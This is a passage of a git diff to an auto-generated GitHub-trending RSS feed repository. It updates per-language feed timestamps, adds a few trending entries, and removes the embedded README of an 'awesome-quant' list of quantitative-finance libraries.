diff --git a/1c-enterprise/daily/index.xml b/1c-enterprise/daily/index.xml
index 7e4267d67bb..fe61ec2041b 100644
--- a/1c-enterprise/daily/index.xml
+++ b/1c-enterprise/daily/index.xml
@@ -1,7 +1,7 @@
GitHub 1C Enterprise Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:09Z
+ 2023-12-13T01:25:48Z
Daily Trending of 1C Enterprise in GitHub
\ No newline at end of file
diff --git a/2-dimensional-array/daily/index.xml b/2-dimensional-array/daily/index.xml
index 437cec8c604..7adce9694b3 100644
--- a/2-dimensional-array/daily/index.xml
+++ b/2-dimensional-array/daily/index.xml
@@ -1,7 +1,7 @@
GitHub 2-Dimensional Array Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:37Z
+ 2023-12-13T01:26:16Z
Daily Trending of 2-Dimensional Array in GitHub
\ No newline at end of file
diff --git a/4d/daily/index.xml b/4d/daily/index.xml
index 766c745309d..dc67d4c4430 100644
--- a/4d/daily/index.xml
+++ b/4d/daily/index.xml
@@ -1,7 +1,7 @@
GitHub 4D Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:38Z
+ 2023-12-13T01:26:17Z
Daily Trending of 4D in GitHub
\ No newline at end of file
diff --git a/abap-cds/daily/index.xml b/abap-cds/daily/index.xml
index 5ab485be3a1..fdcc5003d65 100644
--- a/abap-cds/daily/index.xml
+++ b/abap-cds/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ABAP CDS Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:39Z
+ 2023-12-13T01:26:17Z
Daily Trending of ABAP CDS in GitHub
\ No newline at end of file
diff --git a/abap/daily/index.xml b/abap/daily/index.xml
index 8a84fd9620e..7fbc375c09e 100644
--- a/abap/daily/index.xml
+++ b/abap/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ABAP Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:39Z
+ 2023-12-13T01:26:19Z
Daily Trending of ABAP in GitHub
\ No newline at end of file
diff --git a/abnf/daily/index.xml b/abnf/daily/index.xml
index 5ef6c86b875..6c64125119f 100644
--- a/abnf/daily/index.xml
+++ b/abnf/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ABNF Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:42Z
+ 2023-12-13T01:26:20Z
Daily Trending of ABNF in GitHub
\ No newline at end of file
diff --git a/actionscript/daily/index.xml b/actionscript/daily/index.xml
index 4bf590219e7..b8e29456a8a 100644
--- a/actionscript/daily/index.xml
+++ b/actionscript/daily/index.xml
@@ -1,7 +1,14 @@
GitHub ActionScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:42Z
+ 2023-12-13T01:26:22Z
Daily Trending of ActionScript in GitHub
+
+ flunardelli/GiroVault-as3
+ 2023-12-13T01:26:22Z
+ tag:github.com,2023-12-13:/flunardelli/GiroVault-as3
+
+ <p>Mobile iOS game based on original Vault game by ABA</p><hr>
+
\ No newline at end of file
diff --git a/ada/daily/index.xml b/ada/daily/index.xml
index 7c76c7ab112..77cb5e8b51a 100644
--- a/ada/daily/index.xml
+++ b/ada/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ada Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:40Z
+ 2023-12-13T01:26:20Z
Daily Trending of Ada in GitHub
\ No newline at end of file
diff --git a/adobe-font-metrics/daily/index.xml b/adobe-font-metrics/daily/index.xml
index b37f52893e9..9c34b9de53f 100644
--- a/adobe-font-metrics/daily/index.xml
+++ b/adobe-font-metrics/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Adobe Font Metrics Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:46Z
+ 2023-12-13T01:26:26Z
Daily Trending of Adobe Font Metrics in GitHub
\ No newline at end of file
diff --git a/agda/daily/index.xml b/agda/daily/index.xml
index 9af26ebb285..233b72d54bd 100644
--- a/agda/daily/index.xml
+++ b/agda/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Agda Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:45Z
+ 2023-12-13T01:26:25Z
Daily Trending of Agda in GitHub
\ No newline at end of file
diff --git a/ags-script/daily/index.xml b/ags-script/daily/index.xml
index a0ad6bd564b..d5defb129d2 100644
--- a/ags-script/daily/index.xml
+++ b/ags-script/daily/index.xml
@@ -1,7 +1,14 @@
GitHub AGS Script Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:47Z
+ 2023-12-13T01:26:24Z
Daily Trending of AGS Script in GitHub
+
+ lansa/db-regression
+ 2023-12-13T01:26:24Z
+ tag:github.com,2023-12-13:/lansa/db-regression
+
+ <p>LANSA Database Regression Test Code</p><hr>
+
\ No newline at end of file
diff --git a/aidl/daily/index.xml b/aidl/daily/index.xml
index ada9813828f..360f737ebc7 100644
--- a/aidl/daily/index.xml
+++ b/aidl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub AIDL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:47Z
+ 2023-12-13T01:26:24Z
Daily Trending of AIDL in GitHub
\ No newline at end of file
diff --git a/al/daily/index.xml b/al/daily/index.xml
index c89559f5693..647f0b86b85 100644
--- a/al/daily/index.xml
+++ b/al/daily/index.xml
@@ -1,7 +1,7 @@
GitHub AL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:51Z
+ 2023-12-13T01:26:28Z
Daily Trending of AL in GitHub
\ No newline at end of file
diff --git a/all/daily/index.xml b/all/daily/index.xml
index 0185f7e4037..638f52d1641 100644
--- a/all/daily/index.xml
+++ b/all/daily/index.xml
@@ -1,28 +1,28 @@
GitHub All Languages Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:17Z
+ 2023-12-13T01:25:56Z
Daily Trending of All Languages in GitHub
- wilsonfreitas/awesome-quant
- 2023-12-12T01:43:17Z
- tag:github.com,2023-12-12:/wilsonfreitas/awesome-quant
-
- <p>A curated list of insanely awesome libraries, packages and resources for Quants (Quantitative Finance)</p><hr><h1>Awesome Quant</h1>
<p>A curated list of insanely awesome libraries, packages and resources for Quants (Quantitative Finance).</p>
<p><a href="https://awesome.re"><img src="https://awesome.re/badge.svg?sanitize=true" alt=""></a></p>
<h2>Languages</h2>
<ul>
<li><a href="https://raw.githubusercontent.com/wilsonfreitas/awesome-quant/master/#python">Python</a></li>
<li><a href="https://raw.githubusercontent.com/wilsonfreitas/awesome-quant/master/#r">R</a></li>
<li><a href="https://raw.githubusercontent.com/wilsonfreitas/awesome-quant/master/#matlab">Matlab</a></li>
<li><a href="https://raw.githubusercontent.com/wilsonfreitas/awesome-quant/master/#julia">Julia</a></li>
<li><a href="https://raw.githubusercontent.com/wilsonfreitas/awesome-quant/master/#java">Java</a></li>
<li><a href="https://raw.githubusercontent.com/wilsonfreitas/awesome-quant/master/#javascript">JavaScript</a></li>
<li><a href="https://raw.githubusercontent.com/wilsonfreitas/awesome-quant/master/#haskell">Haskell</a></li>
<li><a href="https://raw.githubusercontent.com/wilsonfreitas/awesome-quant/master/#scala">Scala</a></li>
<li><a href="https://raw.githubusercontent.com/wilsonfreitas/awesome-quant/master/#ruby">Ruby</a></li>
<li><a href="https://raw.githubusercontent.com/wilsonfreitas/awesome-quant/master/#elixirerlang">Elixir/Erlang</a></li>
<li><a href="https://raw.githubusercontent.com/wilsonfreitas/awesome-quant/master/#golang">Golang</a></li>
<li><a href="https://raw.githubusercontent.com/wilsonfreitas/awesome-quant/master/#cpp">CPP</a></li>
<li><a href="https://raw.githubusercontent.com/wilsonfreitas/awesome-quant/master/#csharp">CSharp</a></li>
<li><a href="https://raw.githubusercontent.com/wilsonfreitas/awesome-quant/master/#rust">Rust</a></li>
<li><a href="https://raw.githubusercontent.com/wilsonfreitas/awesome-quant/master/#frameworks">Frameworks</a></li>
<li><a href="https://raw.githubusercontent.com/wilsonfreitas/awesome-quant/master/#reproducing-works">Reproducing Works</a></li>
</ul>
<h2>Python</h2>
<h3>Numerical Libraries & Data Structures</h3>
<ul>
<li><a href="https://www.numpy.org">numpy</a> - NumPy is the fundamental package for scientific computing with Python.</li>
<li><a href="https://www.scipy.org">scipy</a> - SciPy (pronounced “Sigh Pie”) is a Python-based ecosystem of open-source software for mathematics, science, and engineering.</li>
<li><a href="https://pandas.pydata.org">pandas</a> - pandas is an open source, BSD-licensed library providing high-performance, easy-to-use data structures and data analysis tools for the Python programming language.</li>
<li><a href="https://github.com/johnbywater/quantdsl">quantdsl</a> - Domain specific language for quantitative analytics in finance and trading.</li>
<li><a href="https://docs.python.org/3/library/statistics.html">statistics</a> - Builtin Python library for all basic statistical calculations.</li>
<li><a href="https://www.sympy.org/">sympy</a> - SymPy is a Python library for symbolic mathematics.</li>
<li><a href="https://docs.pymc.io/">pymc3</a> - Probabilistic Programming in Python: Bayesian Modeling and Probabilistic Machine Learning with Theano.</li>
<li><a href="https://docs.modelx.io/">modelx</a> - Python reimagination of spreadsheets as formula-centric objects that are interoperable with pandas.</li>
</ul>
<h3>Financial Instruments and Pricing</h3>
<ul>
<li><a href="https://github.com/OpenBB-finance/OpenBBTerminal">OpenBB Terminal</a> - Terminal for investment research for everyone.</li>
<li><a href="https://github.com/enthought/pyql">PyQL</a> - QuantLib's Python port.</li>
<li><a href="https://github.com/opendoor-labs/pyfin">pyfin</a> - Basic options pricing in Python. <em>ARCHIVED</em></li>
<li><a href="https://github.com/vollib/vollib">vollib</a> - vollib is a python library for calculating option prices, implied volatility and greeks.</li>
<li><a href="https://github.com/jsmidt/QuantPy">QuantPy</a> - A framework for quantitative finance In python.</li>
<li><a href="https://github.com/alpha-miner/Finance-Python">Finance-Python</a> - Python tools for Finance.</li>
<li><a href="https://github.com/pmorissette/ffn">ffn</a> - A financial function library for Python.</li>
<li><a href="https://github.com/GriffinAustin/pynance">pynance</a> - Lightweight Python library for assembling and analysing financial data.</li>
<li><a href="https://github.com/bpsmith/tia">tia</a> - Toolkit for integration and analysis.</li>
<li><a href="https://platform.hasura.io/hub/projects/hasura/base-python-dash">hasura/base-python-dash</a> - Hasura quickstart to deploy Dash framework. Written on top of Flask, Plotly.js, and React.js, Dash is ideal for building data visualization apps with highly custom user interfaces in pure Python.</li>
<li><a href="https://platform.hasura.io/hub/projects/hasura/base-python-bokeh">hasura/base-python-bokeh</a> - Hasura quickstart to visualize data with bokeh library.</li>
<li><a href="https://github.com/ynouri/pysabr">pysabr</a> - SABR model Python implementation.</li>
<li><a href="https://github.com/domokane/FinancePy">FinancePy</a> - A Python Finance Library that focuses on the pricing and risk-management of Financial Derivatives, including fixed-income, equity, FX and credit derivatives.</li>
<li><a href="https://github.com/goldmansachs/gs-quant">gs-quant</a> - Python toolkit for quantitative finance</li>
<li><a href="https://github.com/federicomariamassari/willowtree">willowtree</a> - Robust and flexible Python implementation of the willow tree lattice for derivatives pricing.</li>
<li><a href="https://github.com/federicomariamassari/financial-engineering">financial-engineering</a> - Applications of Monte Carlo methods to financial engineering projects, in Python.</li>
<li><a href="https://github.com/dbrojas/optlib">optlib</a> - A library for financial options pricing written in Python.</li>
<li><a href="https://github.com/google/tf-quant-finance">tf-quant-finance</a> - High-performance TensorFlow library for quantitative finance.</li>
<li><a href="https://github.com/RomanMichaelPaolucci/Q-Fin">Q-Fin</a> - A Python library for mathematical finance.</li>
<li><a href="https://github.com/quantsbin/Quantsbin">Quantsbin</a> - Tools for pricing and plotting of vanilla option prices, greeks and various other analysis around them.</li>
<li><a href="https://github.com/bbcho/finoptions-dev">finoptions</a> - Complete python implementation of R package fOptions with partial implementation of fExoticOptions for pricing various options.</li>
<li><a href="https://github.com/ymyke/pypme">pypme</a> - PME (Public Market Equivalent) calculation.</li>
<li><a href="https://github.com/yellowbean/AbsBox">AbsBox</a> - A Python based library to model cashflow for structured product like Asset-backed securities (ABS) and Mortgage-backed securities (MBS).</li>
<li><a href="https://github.com/akashaero/Intrinsic-Value-Calculator">Intrinsic-Value-Calculator</a> - A Python tool for quick calculations of a stock's fair value using Discounted Cash Flow analysis.</li>
<li><a href="https://github.com/deltaray-io/kelly-criterion">Kelly-Criterion</a> - Kelly Criterion implemented in Python to size portfolios based on J. L. Kelly Jr's formula.</li>
</ul>
<h3>Indicators</h3>
<ul>
<li><a href="https://github.com/femtotrader/pandas_talib">pandas_talib</a> - A Python Pandas implementation of technical analysis indicators.</li>
<li><a href="https://github.com/peerchemist/finta">finta</a> - Common financial technical analysis indicators implemented in Pandas.</li>
<li><a href="https://github.com/cirla/tulipy">Tulipy</a> - Financial Technical Analysis Indicator Library (Python bindings for <a href="https://github.com/TulipCharts/tulipindicators">tulipindicators</a>)</li>
<li><a href="https://github.com/Boulder-Investment-Technologies/lppls">lppls</a> - A Python module for fitting the <a href="https://en.wikipedia.org/wiki/Didier_Sornette#The_JLS_and_LPPLS_models">Log-Periodic Power Law Singularity (LPPLS)</a> model.</li>
</ul>
<h3>Trading & Backtesting</h3>
<ul>
<li><a href="https://github.com/coding-kitties/investing-algorithm-framework">Investing algorithm framework</a> - Framework for developing, backtesting, and deploying automated trading algorithms.</li>
<li><a href="https://github.com/mhallsmoore/qstrader">QSTrader</a> - QSTrader backtesting simulation engine.</li>
<li><a href="https://github.com/Blankly-Finance/Blankly">Blankly</a> - Fully integrated backtesting, paper trading, and live deployment.</li>
<li><a href="https://github.com/mrjbq7/ta-lib">TA-Lib</a> - Python wrapper for TA-Lib (<a href="http://ta-lib.org/">http://ta-lib.org/</a>).</li>
<li><a href="https://github.com/quantopian/zipline">zipline</a> - Pythonic algorithmic trading library.</li>
<li><a href="https://github.com/QuantSoftware/QuantSoftwareToolkit">QuantSoftware Toolkit</a> - Python-based open source software framework designed to support portfolio construction and management.</li>
<li><a href="https://github.com/jeffrey-liang/quantitative">quantitative</a> - Quantitative finance, and backtesting library.</li>
<li><a href="https://github.com/llazzaro/analyzer">analyzer</a> - Python framework for real-time financial and backtesting trading strategies.</li>
<li><a href="https://github.com/pmorissette/bt">bt</a> - Flexible Backtesting for Python.</li>
<li><a href="https://github.com/backtrader/backtrader">backtrader</a> - Python Backtesting library for trading strategies.</li>
<li><a href="https://github.com/thalesians/pythalesians">pythalesians</a> - Python library to backtest trading strategies, plot charts, seamlessly download market data, analyse market patterns etc.</li>
<li><a href="https://github.com/ematvey/pybacktest">pybacktest</a> - Vectorized backtesting framework in Python / pandas, designed to make your backtesting easier.</li>
<li><a href="https://github.com/gbeced/pyalgotrade">pyalgotrade</a> - Python Algorithmic Trading Library.</li>
<li><a href="https://github.com/gbeced/basana">basana</a> - A Python async and event driven framework for algorithmic trading, with a focus on crypto currencies.</li>
<li><a href="https://pypi.org/project/tradingWithPython/">tradingWithPython</a> - A collection of functions and classes for Quantitative trading.</li>
<li><a href="https://github.com/twopirllc/pandas-ta">Pandas TA</a> - Pandas TA is an easy to use Python 3 Pandas Extension with 115+ Indicators. Easily build Custom Strategies.</li>
<li><a href="https://github.com/bukosabino/ta">ta</a> - Technical Analysis Library using Pandas (Python)</li>
<li><a href="https://github.com/joequant/algobroker">algobroker</a> - This is an execution engine for algo trading.</li>
<li><a href="https://pypi.org/project/pysentosa/">pysentosa</a> - Python API for sentosa trading system.</li>
<li><a href="https://github.com/cuemacro/finmarketpy">finmarketpy</a> - Python library for backtesting trading strategies and analyzing financial markets.</li>
<li><a href="https://github.com/metaperl/binary-martingale">binary-martingale</a> - Computer program to automatically trade binary options martingale style.</li>
<li><a href="https://github.com/foolcage/fooltrader">fooltrader</a> - the project using big-data technology to provide an uniform way to analyze the whole market.</li>
<li><a href="https://github.com/zvtvz/zvt">zvt</a> - the project using sql,pandas to provide an uniform and extendable way to record data,computing factors,select securites, backtesting,realtime trading and it could show all of them in clearly charts in realtime.</li>
<li><a href="https://github.com/alpacahq/pylivetrader">pylivetrader</a> - zipline-compatible live trading library.</li>
<li><a href="https://github.com/alpacahq/pipeline-live">pipeline-live</a> - zipline's pipeline capability with IEX for live trading.</li>
<li><a href="https://github.com/quantrocket-llc/zipline-extensions">zipline-extensions</a> - Zipline extensions and adapters for QuantRocket.</li>
<li><a href="https://github.com/quantrocket-llc/moonshot">moonshot</a> - Vectorized backtester and trading engine for QuantRocket based on Pandas.</li>
<li><a href="https://github.com/robertmartin8/PyPortfolioOpt">PyPortfolioOpt</a> - Financial portfolio optimisation in python, including classical efficient frontier and advanced methods.</li>
<li><a href="https://github.com/tradytics/eiten">Eiten</a> - Eiten is an open source toolkit by Tradytics that implements various statistical and algorithmic investing strategies such as Eigen Portfolios, Minimum Variance Portfolios, Maximum Sharpe Ratio Portfolios, and Genetic Algorithms based Portfolios.</li>
<li><a href="https://github.com/dppalomar/riskparity.py">riskparity.py</a> - fast and scalable design of risk parity portfolios with TensorFlow 2.0</li>
<li><a href="https://github.com/hudson-and-thames/mlfinlab">mlfinlab</a> - Implementations regarding "Advances in Financial Machine Learning" by Marcos Lopez de Prado. (Feature Engineering, Financial Data Structures, Meta-Labeling)</li>
<li><a href="https://github.com/abbass2/pyqstrat">pyqstrat</a> - A fast, extensible, transparent python library for backtesting quantitative strategies.</li>
<li><a href="https://github.com/edouardpoitras/NowTrade">NowTrade</a> - Python library for backtesting technical/mechanical strategies in the stock and currency markets.</li>
<li><a href="https://github.com/fja05680/pinkfish">pinkfish</a> - A backtester and spreadsheet library for security analysis.</li>
<li><a href="https://github.com/timkpaine/aat">aat</a> - Async Algorithmic Trading Engine</li>
<li><a href="https://kernc.github.io/backtesting.py/">Backtesting.py</a> - Backtest trading strategies in Python</li>
<li><a href="https://github.com/enigmampc/catalyst">catalyst</a> - An Algorithmic Trading Library for Crypto-Assets in Python</li>
<li><a href="https://github.com/ranaroussi/quantstats">quantstats</a> - Portfolio analytics for quants, written in Python</li>
<li><a href="https://github.com/ranaroussi/qtpylib">qtpylib</a> - QTPyLib, Pythonic Algorithmic Trading <a href="http://qtpylib.io">http://qtpylib.io</a></li>
<li><a href="https://github.com/constverum/Quantdom">Quantdom</a> - Python-based framework for backtesting trading strategies & analyzing financial markets [GUI <img alt="neckbeard" src="https://github.githubassets.com/images/icons/emoji/neckbeard.png?v8">)]</li>
<li><a href="https://github.com/freqtrade/freqtrade">freqtrade</a> - Free, open source crypto trading bot</li>
<li><a href="https://github.com/chrisconlan/algorithmic-trading-with-python">algorithmic-trading-with-python</a> - Free <code>pandas</code> and <code>scikit-learn</code> resources for trading simulation, backtesting, and machine learning on financial data.</li>
<li><a href="https://github.com/jankrepl/deepdow">DeepDow</a> - Portfolio optimization with deep learning</li>
<li><a href="https://github.com/microsoft/qlib">Qlib</a> - An AI-oriented Quantitative Investment Platform by Microsoft. Full ML pipeline of data processing, model training, back-testing; and covers the entire chain of quantitative investment: alpha seeking, risk modeling, portfolio optimization, and order execution.</li>
<li><a href="https://github.com/stefan-jansen/machine-learning-for-trading">machine-learning-for-trading</a> - Code and resources for Machine Learning for Algorithmic Trading</li>
<li><a href="https://github.com/ScottfreeLLC/AlphaPy">AlphaPy</a> - Automated Machine Learning [AutoML] with Python, scikit-learn, Keras, XGBoost, LightGBM, and CatBoost</li>
<li><a href="https://github.com/jesse-ai/jesse">jesse</a> - An advanced crypto trading bot written in Python</li>
<li><a href="https://github.com/ricequant/rqalpha">rqalpha</a> - A extendable, replaceable Python algorithmic backtest && trading framework supporting multiple securities.</li>
<li><a href="https://github.com/AI4Finance-LLC/FinRL-Library">FinRL-Library</a> - A Deep Reinforcement Learning Library for Automated Trading in Quantitative Finance. NeurIPS 2020.</li>
<li><a href="https://github.com/achillesrasquinha/bulbea">bulbea</a> - Deep Learning based Python Library for Stock Market Prediction and Modelling.</li>
<li><a href="https://github.com/ajhpark/ib_nope">ib_nope</a> - Automated trading system for NOPE strategy over IBKR TWS.</li>
<li><a href="https://github.com/Drakkar-Software/OctoBot">OctoBot</a> - Open source cryptocurrency trading bot for high frequency, arbitrage, TA and social trading with an advanced web interface.</li>
<li><a href="https://github.com/mementum/bta-lib">bta-lib</a> - Technical Analysis library in pandas for backtesting algotrading and quantitative analysis.</li>
<li><a href="https://github.com/huseinzol05/Stock-Prediction-Models">Stock-Prediction-Models</a> - Gathers machine learning and deep learning models for Stock forecasting including trading bots and simulations.</li>
<li><a href="https://github.com/jmrichardson/tuneta">TuneTA</a> - TuneTA optimizes technical indicators using a distance correlation measure to a user defined target feature such as next day return.</li>
<li><a href="https://github.com/kieran-mackle/AutoTrader">AutoTrader</a> - A Python-based development platform for automated trading systems - from backtesting to optimisation to livetrading.</li>
<li><a href="https://github.com/jrmeier/fast-trade">fast-trade</a> - A library built with backtest portability and performance in mind for backtest trading strategies.</li>
<li><a href="https://github.com/quarkfin/qf-lib">qf-lib</a> - QF-Lib is a Python library that provides high quality tools for quantitative finance.</li>
<li><a href="https://github.com/alexgolec/tda-api">tda-api</a> - Gather data and trade equities, options, and ETFs via TDAmeritrade.</li>
<li><a href="https://github.com/polakowo/vectorbt">vectorbt</a> - Find your trading edge, using a powerful toolkit for backtesting, algorithmic trading, and research.</li>
<li><a href="https://github.com/QuantConnect/Lean">Lean</a> - Lean Algorithmic Trading Engine by QuantConnect (Python, C#).</li>
<li><a href="https://github.com/jrmeier/fast-trade">fast-trade</a> - Low code backtesting library utilizing pandas and technical analysis indicators.</li>
<li><a href="https://github.com/robcarver17/pysystemtrade">pysystemtrade</a> - pysystemtrade is the open source version of Robert Carver's backtesting and trading engine that implements systems according to the framework outlined in his book "Systematic Trading", which is further developed on his <a href="https://qoppac.blogspot.com/">blog</a>.</li>
<li><a href="https://github.com/rafa-rod/pytrendseries">pytrendseries</a> - Detect trend in time series, drawdown, drawdown within a constant look-back window , maximum drawdown, time underwater.</li>
<li><a href="https://github.com/DrAshBooth/PyLOB">PyLOB</a> - Fully functioning fast Limit Order Book written in Python.</li>
<li><a href="https://github.com/edtechre/pybroker">PyBroker</a> - Algorithmic Trading with Machine Learning.</li>
<li><a href="https://github.com/Drakkar-Software/OctoBot-Script">OctoBot Script</a> - A quant framework to create cryptocurrencies strategies - from backtesting to optimisation to livetrading.</li>
<li><a href="https://github.com/nkaz001/hftbacktest">hftbacktest</a> - A high-frequency trading and market-making backtesting tool accounts for limit orders, queue positions, and latencies, utilizing full tick data for trades and order books.</li>
<li><a href="https://github.com/vnpy/vnpy">vnpy</a> - VeighNa is a Python-based open source quantitative trading system development framework.</li>
<li><a href="https://github.com/asavinov/intelligent-trading-bot">Intelligent Trading Bot</a> - Automatically generating signals and trading based on machine learning and feature engineering</li>
</ul>
<h3>Risk Analysis</h3>
<ul>
<li><a href="https://github.com/quantopian/pyfolio">pyfolio</a> - Portfolio and risk analytics in Python.</li>
<li><a href="https://github.com/quantopian/empyrical">empyrical</a> - Common financial risk and performance metrics.</li>
<li><a href="https://github.com/rsvp/fecon235">fecon235</a> - Computational tools for financial economics include: Gaussian Mixture model of leptokurtotic risk, adaptive Boltzmann portfolios.</li>
<li><a href="https://pypi.org/project/finance/">finance</a> - Financial Risk Calculations. Optimized for ease of use through class construction and operator overload.</li>
<li><a href="https://pypi.org/project/qfrm/">qfrm</a> - Quantitative Financial Risk Management: awesome OOP tools for measuring, managing and visualizing risk of financial instruments and portfolios.</li>
<li><a href="https://github.com/benjaminmgross/visualize-wealth">visualize-wealth</a> - Portfolio construction and quantitative analysis.</li>
<li><a href="https://github.com/wegamekinglc/VisualPortfolio">VisualPortfolio</a> - This tool is used to visualize the performance of a portfolio.</li>
<li><a href="https://github.com/Marigold/universal-portfolios">universal-portfolios</a> - Collection of algorithms for online portfolio selection.</li>
<li><a href="https://github.com/fmilthaler/FinQuant">FinQuant</a> - A program for financial portfolio management, analysis and optimisation.</li>
<li><a href="https://github.com/ssantoshp/Empyrial">Empyrial</a> - Portfolio's risk and performance analytics and returns predictions.</li>
<li><a href="https://github.com/bbcho/risktools-dev">risktools</a> - Risk tools for use within the crude and crude products trading space with partial implementation of R's PerformanceAnalytics.</li>
<li><a href="https://github.com/dcajasn/Riskfolio-Lib">Riskfolio-Lib</a> - Portfolio Optimization and Quantitative Strategic Asset Allocation in Python.</li>
</ul>
<h3>Factor Analysis</h3>
<ul>
<li><a href="https://github.com/quantopian/alphalens">alphalens</a> - Performance analysis of predictive alpha factors.</li>
<li><a href="https://github.com/Heerozh/spectre">Spectre</a> - GPU-accelerated Factors analysis library and Backtester</li>
</ul>
<h3>Quant Research Environment</h3>
<ul>
<li><a href="https://github.com/gnzsnz/jupyter-quant">Jupyter Quant</a> - A dockerized Jupyter quant research environment with preloaded tools for quant analysis, statsmodels, pymc, arch, py_vollib, zipline-reloaded, PyPortfolioOpt, etc.</li>
</ul>
<h3>Time Series</h3>
<ul>
<li><a href="https://github.com/bashtage/arch">ARCH</a> - ARCH models in Python.</li>
<li><a href="http://statsmodels.sourceforge.net">statsmodels</a> - Python module that allows users to explore data, estimate statistical models, and perform statistical tests.</li>
<li><a href="https://github.com/quantmind/dynts">dynts</a> - Python package for timeseries analysis and manipulation.</li>
<li><a href="https://github.com/RJT1990/pyflux">PyFlux</a> - Python library for timeseries modelling and inference (frequentist and Bayesian) on models.</li>
<li><a href="https://github.com/blue-yonder/tsfresh">tsfresh</a> - Automatic extraction of relevant features from time series.</li>
<li><a href="https://platform.hasura.io/hub/projects/anirudhm/quandl-metabase-time-series">hasura/quandl-metabase</a> - Hasura quickstart to visualize Quandl's timeseries datasets with Metabase.</li>
<li><a href="https://github.com/facebook/prophet">Facebook Prophet</a> - Tool for producing high quality forecasts for time series data that has multiple seasonality with linear or non-linear growth.</li>
<li><a href="https://github.com/cerlymarco/tsmoothie">tsmoothie</a> - A python library for time-series smoothing and outlier detection in a vectorized way.</li>
<li><a href="https://github.com/alkaline-ml/pmdarima">pmdarima</a> - A statistical library designed to fill the void in Python's time series analysis capabilities, including the equivalent of R's auto.arima function.</li>
<li><a href="https://github.com/awslabs/gluon-ts">gluon-ts</a> - vProbabilistic time series modeling in Python.</li>
</ul>
<h3>Calendars</h3>
<ul>
<li><a href="https://github.com/gerrymanoim/exchange_calendars">exchange_calendars</a> - Stock Exchange Trading Calendars.</li>
<li><a href="https://github.com/wilsonfreitas/python-bizdays">bizdays</a> - Business days calculations and utilities.</li>
<li><a href="https://github.com/rsheftel/pandas_market_calendars">pandas_market_calendars</a> - Exchange calendars to use with pandas for trading applications.</li>
</ul>
<h3>Data Sources</h3>
<ul>
<li><a href="https://github.com/ranaroussi/yfinance">yfinance</a> - Yahoo! Finance market data downloader (+faster Pandas Datareader)</li>
<li><a href="https://github.com/cuemacro/findatapy">findatapy</a> - Python library to download market data via Bloomberg, Quandl, Yahoo etc.</li>
<li><a href="https://github.com/hongtaocai/googlefinance">googlefinance</a> - Python module to get real-time stock data from Google Finance API.</li>
<li><a href="https://github.com/lukaszbanasiak/yahoo-finance">yahoo-finance</a> - Python module to get stock data from Yahoo! Finance.</li>
<li><a href="https://github.com/pydata/pandas-datareader">pandas-datareader</a> - Python module to get data from various sources (Google Finance, Yahoo Finance, FRED, OECD, Fama/French, World Bank, Eurostat...) into Pandas datastructures such as DataFrame, Panel with a caching mechanism.</li>
<li><a href="https://github.com/davidastephens/pandas-finance">pandas-finance</a> - High level API for access to and analysis of financial data.</li>
<li><a href="https://github.com/innes213/pyhoofinance">pyhoofinance</a> - Rapidly queries Yahoo Finance for multiple tickers and returns typed data for analysis.</li>
<li><a href="https://github.com/Karthik005/yfinanceapi">yfinanceapi</a> - Finance API for Python.</li>
<li><a href="https://github.com/slawek87/yql-finance">yql-finance</a> - yql-finance is simple and fast. API returns stock closing prices for current period of time and current stock ticker (i.e. APPL, GOOGL).</li>
<li><a href="https://github.com/cgoldberg/ystockquote">ystockquote</a> - Retrieve stock quote data from Yahoo Finance.</li>
<li><a href="https://github.com/mcdallas/wallstreet">wallstreet</a> - Real time stock and option data.</li>
<li><a href="https://github.com/ZachLiuGIS/stock_extractor">stock_extractor</a> - General Purpose Stock Extractors from Online Resources.</li>
<li><a href="https://github.com/cttn/Stockex">Stockex</a> - Python wrapper for Yahoo! Finance API.</li>
<li><a href="https://github.com/skillachie/finsymbols">finsymbols</a> - Obtains stock symbols and relating information for SP500, AMEX, NYSE, and NASDAQ.</li>
<li><a href="https://github.com/avelkoski/FRB">FRB</a> - Python Client for FRED® API.</li>
<li><a href="https://github.com/econdb/inquisitor">inquisitor</a> - Python Interface to Econdb.com API.</li>
<li><a href="https://github.com/nickelkr/yfi">yfi</a> - Yahoo! YQL library.</li>
<li><a href="https://pypi.org/project/chinesestockapi/">chinesestockapi</a> - Python API to get Chinese stock price.</li>
<li><a href="https://github.com/akarat/exchange">exchange</a> - Get current exchange rate.</li>
<li><a href="https://github.com/jamescnowell/ticks">ticks</a> - Simple command line tool to get stock ticker data.</li>
<li><a href="https://github.com/bpsmith/pybbg">pybbg</a> - Python interface to Bloomberg COM APIs.</li>
<li><a href="https://github.com/lsbardel/ccy">ccy</a> - Python module for currencies.</li>
<li><a href="https://pypi.org/project/tushare/">tushare</a> - A utility for crawling historical and Real-time Quotes data of China stocks.</li>
<li><a href="https://pypi.org/project/jsm/">jsm</a> - Get the japanese stock market data.</li>
<li><a href="https://github.com/jealous/cn_stock_src">cn_stock_src</a> - Utility for retrieving basic China stock data from different sources.</li>
<li><a href="https://github.com/barnumbirr/coinmarketcap">coinmarketcap</a> - Python API for coinmarketcap.</li>
<li><a href="https://github.com/datawrestler/after-hours">after-hours</a> - Obtain pre market and after hours stock prices for a given symbol.</li>
